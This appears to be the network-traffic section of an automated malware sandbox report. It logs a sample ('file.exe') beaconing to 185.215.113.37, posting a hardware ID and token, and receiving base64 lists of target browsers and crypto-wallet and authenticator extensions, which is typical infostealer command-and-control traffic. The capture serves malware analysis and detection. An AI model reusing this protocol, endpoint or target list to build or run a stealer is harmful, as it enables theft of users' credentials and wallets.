Oct 4, 2024 05:45:10.900101900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900115967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900122881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900122881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900131941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900149107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900149107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900149107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900180101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900182009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900196075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900198936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900209904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900222063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900226116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900242090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900265932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900265932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900265932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900279999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900295019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900310993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900311947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900337934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900337934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900357008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900393963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900408030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900420904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900434971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900449991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900451899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900463104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900471926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900482893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900490046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900496960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900511980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900540113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900577068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900590897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900604010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900615931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900633097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900649071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900649071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900656939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900671959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900680065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900680065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900690079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900702000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900705099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.900718927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900733948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.900760889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.987298965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.987567902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:11.706552982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:11.706650972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:11.711487055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:11.711503983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:12.611165047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:12.611267090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:12.652079105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:12.656944036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:12.882684946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:12.882709980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:12.882725000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:12.882769108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:12.882853031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:12.885211945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:12.890108109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:13.116899014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:13.116980076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:13.131613016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:13.136435032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:13.855479956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:13.855602980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:13.880134106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:13.885170937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113861084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113877058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113899946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113914013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113930941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113933086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:14.113933086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:14.113946915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.113960981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:14.113995075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:14.115557909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:14.120661974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.839293957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:14.839380980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:19.843003988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:19.843111992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:20.174367905 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	3348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 05:44:56.276144981 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 05:44:56.992733955 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:44:56.997601032 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 45 33 39 36 36 42 32 32 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"FEE3966B22482604982160------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"doma------HJJEHJJKJEGHJJKEBFBG--
Oct 4, 2024 05:44:57.248037100 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 46 68 4e 6a 46 6b 4e 54 4d 34 4e 7a 49 34 59 6a 6b 34 59 54 68 6d 4d 7a 6b 33 5a 54 68 6d 59 6a 63 30 4e 47 49 79 5a 54 56 6b 5a 54 4e 6c 4f 54 4d 30 4e 6d 4d 33 4d 6d 56 69 4f 44 68 69 4e 57 4a 6d 5a 6a 4a 6a 5a 57 45 35 4d 44 56 6a 4d 7a 49 31 59 54 55 77 4e 47 4e 6c 4f 54 6b 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGFhNjFkNTM4NzI4Yjk4YThmMzk3ZThmYjc0NGIyZTVkZTNlOTM0NmM3MmViODhiNWJmZjJjZWE5MDVjMzI1YTUwNGNlOTk5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 4, 2024 05:44:57.250070095 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"browsers------CFIEHCFIECBGCBFHIJJK--
Oct 4, 2024 05:44:57.479979992 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 4, 2024 05:44:57.480027914 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 4, 2024 05:44:57.482201099 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="message"plugins------ECFHJKEBAAECBFHIECGI--
Oct 4, 2024 05:44:57.712148905 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 4, 2024 05:44:57.712199926 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 4, 2024 05:44:57.712233067 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 4, 2024 05:44:57.712265968 CEST	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 4, 2024 05:44:57.712296963 CEST	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Oct 4, 2024 05:44:57.712330103 CEST	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
